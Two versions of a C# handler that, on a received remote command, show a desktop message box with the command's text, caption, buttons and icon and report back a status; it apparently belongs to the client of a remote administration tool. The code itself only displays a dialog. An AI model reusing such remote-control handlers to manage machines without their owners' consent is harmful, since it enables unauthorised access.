public static void HandleDoShowMessageBox(DoShowMessageBox command, Networking.Client client) { new Thread(() => { MessageBox.Show(command.Text, command.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), command.Button), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), command.Icon), MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); }).Start(); client.Send(new SetStatus { Message = "Showed Messagebox" }); }
private void Execute(ISender client, DoShowMessageBox message) { new Thread(() => { // messagebox thread resides in csrss.exe - wtf? MessageBox.Show(message.Text, message.Caption, (MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button), (MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon), MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly); }) { IsBackground = true }.Start(); client.Send(new SetStatus { Message = "Successfully displayed MessageBox" }); }